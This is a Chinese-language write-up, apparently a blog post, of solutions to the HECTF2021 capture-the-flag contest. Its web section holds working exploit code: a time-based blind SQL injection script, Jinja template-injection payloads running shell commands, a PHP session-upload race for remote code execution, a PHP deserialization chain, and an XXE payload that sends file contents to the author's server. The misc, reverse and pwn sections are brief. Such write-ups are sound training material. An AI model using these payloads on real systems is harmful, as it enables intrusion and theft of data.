HECTF2021
wow，第一次AK web题，这感觉太爽了！！！
Web
mmmmd5d5d5d5
$a = $GET['a'];
$b = $_GET['b'];
$a != $b && md5($a) == md5($b)
数组绕过：
payload:a[]=1&b[]=2
第二关，md5碰撞脚本，exp如下：
from hashlib import md5
for i in range(10000, 9999999):
encode = md5(str(i).encode()).hexdigest()
if encode[5:10] == 'a698f':
print(i)
break
第三关：
select * from admin where password=md5($pass,true)
ffifdyop的md5加密值为276f722736c95d99e921722cf9ed621c转成字符串为'or'6�]��!r,��b从而完成了注入
第四关，依然用数组绕过
payload:param1[]=1¶m2[]=2
EDFnb
直接在远程仓库找
时光塔的宝藏
时间盲注exp:
import requests
from time import time
url = "http://81.70.102.209:10020/" # 注入位置
payload = "select load_file('/flag')" # 需要查询的内容
# select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users'
def lensqlblind():
start = 1
end = 100
while True:
mid = (start + end) // 2
data = {
'usname': '\\',
'pswd': f'''/**/or/**/if(length(({payload}))>{mid},sleep(0.3),0)/**/#'''
}
t = time()
r = requests.post(url, data=data)
r.encoding = r.apparent_encoding
if start >= end:
return start
break
elif time() - t > 0.3:
start = mid + 1
else:
end = mid - 1
def contentblind():
flag = ''
i = 1
while i <= lenth:
for j in range(32, 127):
data = {
'usname': '\\',
'pswd': f'''/**/or/**/if(ascii(substr(({payload}),{i},1))={j},sleep(0.3),0)/**/#'''
}
t = time()
r = requests.post(url, data=data)
r.encoding = r.apparent_encoding
if time() - t > 0.3:
flag += chr(j)
print(flag)
i += 1
break
lenth = lensqlblind()
print(lenth)
contentblind()
ezpy
SSTI模板注入
payload:
ls:
http://81.70.102.209:10030//welhectf?name={%set%20a=()[%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27][%27\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f%27][0][%27\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%27]()[205](%27ls%27,shell=True,stdout=-1)[%27\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65%27]()%}{%print%20a%}
读取flag:
http://81.70.102.209:10030//welhectf?name={%set%20a=()[%27\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%27][%27\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f%27][0][%27\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%27]()[196][%27\x5f\x5f\x69\x6e\x69\x74\x5f\x5f%27][%27\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f%27][%27\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%27][%27open%27](%27f1ag.txt%27).read()%}{%print%20a%}
LFI_to_RCE
session.upload_progress漏洞
exp:
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://81.70.102.209:10040/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php echo '123aaa';system('cat /f1aggggggggggggggggggggggg');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://81.70.102.209:10040/index.php?file=/tmp/sess_{sessid}')
print(f'http://81.70.102.209:10040/index.php?file=/tmp/sess_{sessid}')
if '123aaa' not in response.text:
print('[+++]retry')
else:
print(response.text)
# with open('return.html', 'w') as f:
# f.write(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
unserialize
exp:
<?php
class x{
public $value;
public $cc;
}
class c {
public $value;
public function __construct($value)
{
$this->value = $value;
}
public function shell($func) {
$func($this->value);
}
}
class b {
public $value;
public $array;
public function __construct()
{
$this->array = [new c('\system'), 'shell'];
$this->value = [new c('cat /flag'), 'shell'];
}
}
class a {
public $nice;
public $test;
public function __construct()
{
$this->nice = serialize(new x);
$this->test = new b;
}
}
$p = new a;
echo serialize($p);
执行完及那个 x 类的内容数量从 2 改为 3
payload:TzoxOiJhIjoyOntzOjQ6Im5pY2UiO3M6Mzc6Ik86MToieCI6Mzp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO30iO3M6NDoidGVzdCI7TzoxOiJiIjoyOntzOjU6InZhbHVlIjthOjI6e2k6MDtPOjE6ImMiOjE6e3M6NToidmFsdWUiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6NToic2hlbGwiO31zOjU6ImFycmF5IjthOjI6e2k6MDtPOjE6ImMiOjE6e3M6NToidmFsdWUiO3M6NzoiXHN5c3RlbSI7fWk6MTtzOjU6InNoZWxsIjt9fX0=
退学申请提交处
进去一看是个XXE，没有回显，利用vps进行得到回显
注入payload:
<!DOCTYPE submit [
<!ENTITY % remote SYSTEM "http://82.157.174.226:10002/demo.dtd">
%remote;%int;%send;
]>
<submit>
<name></name>
<stuid></stuid>
</submit>
vps文件demo.dtd：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
成功注入，查看内网主机：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/host">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
得到
IP address HW type Flags HW address Mask Device
192.168.2.2 0x1 0x0 00:00:00:00:00:00 * eth0
192.168.2.4 0x1 0x0 00:00:00:00:00:00 * eth0
192.168.2.1 0x1 0x2 02:42:ad:91:ff:31 * eth0
192.168.2.6 0x1 0x0 00:00:00:00:00:00 * eth0
192.168.2.8 0x1 0x2 02:42:c0:a8:02:08 * eth0
192.168.2.3 0x1 0x0 00:00:00:00:00:00 * eth0
一个一个试一下，最终在192.168.2.8
payload:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.2.8">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
服务器得到回显
root@VM-8-15-debian:~# nc -lvp 10080
listening on [any] 10080 ...
81.70.102.209: inverse host lookup failed: Unknown host
connect to [10.0.8.15] from (UNKNOWN) [81.70.102.209] 38430
GET /?p=aGVjdGZ7YjFpbmRfMDBCX3hYZX0= HTTP/1.1
Host: 82.157.174.226:10080
Connection: close
base64解码即得到flag
Misc
快来公众号ya
关注公众号回复flag获得
JamesHarden
压缩出来看了下文件头，还是一个zip压缩包，里面有个class
java JamesHarden
得到URPGS{Jr1p0zr_G0_U3pg6_!}，觉得是凯撒，试了一下确实是，位移12位
捉迷藏
word文件进去全选修改格式，得到
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在console执行一下，得到flag
问卷调查
填完就可以获得flag
Reverse
hard
Ida64位打开，Shift+F12查看字符串，直接找到
Baby_upx
Ida反编译，写一下解密脚本
#include<stdio.h>
#include<Windows.h>
/*
H E C T F { T h i > \ Z i S ' ' J L 2 9 b W e }
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 22 21 22 23 24 25
0x48,
0x45,
0x43,
0x54,
0x46,
0x7b
*/
int main()
{
BYTE des[] = { 0x17, 0x2B, 0x2A, 0x7D, 0x1A, 0x21, 0x2A, 0x07,
0x7D, 0x19, 0x10, 0x10, 0x15, 0x1E, 0x0B, 0x04,
0x29, 0x24, 0x04, 0x00 };
int random[] = { 2,2,2,0,1,0,2,3,
0,4,1,1,1,4,3,0,
0,0,1,2 };
BYTE s[] = { 0x43,0x43,0x43,0x48,0x45,0x48,0x43,0x54,0x48,0x46,0x45,0x45,0x45,0x46,0x54,0x48,0x48,0x48,0x45,0x43 };
for (int i = 0; i < 20; i++)
{
printf("%c",s[i] ^ des[i]);
//printf("0x%x,", s[i]);
}
return 0;
}
得到Thi5_iiS5_UUPX_LalAC，不知道为什么多了一位C，删掉后用HECTF包裹提交就好
Pwn
签到
本来还准备看一下文件的，结果直接nc 123.56.242.200 10005 就得到了flag
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